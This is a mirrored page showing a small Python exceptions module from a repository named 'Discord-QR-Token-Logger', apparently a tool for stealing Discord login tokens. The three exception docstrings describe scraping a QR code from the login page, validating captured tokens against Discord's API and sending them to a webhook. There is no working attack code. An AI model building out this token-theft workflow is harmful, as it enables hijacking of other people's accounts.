mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-06-13 14:05:13 +00:00
Co-authored-by: the-cult-of-integral <98130822+the-cult-of-integral@users.noreply.github.com>
20 lines
492 B
Python
20 lines
492 B
Python
class QRCodeNotFound(Exception):
|
|
"""This exception should be raised if a QR code can not be found
|
|
on the Discord login page.
|
|
"""
|
|
pass
|
|
|
|
|
|
class InvalidToken(Exception):
|
|
"""This exception should be raised if a token does not receive
|
|
a response status code of 200 when tested against Discord's API.
|
|
"""
|
|
pass
|
|
|
|
|
|
class WebhookSendFailure(Exception):
|
|
"""This exception should be raised if the token webhook fails
|
|
to send, for whatever reason.
|
|
"""
|
|
pass
|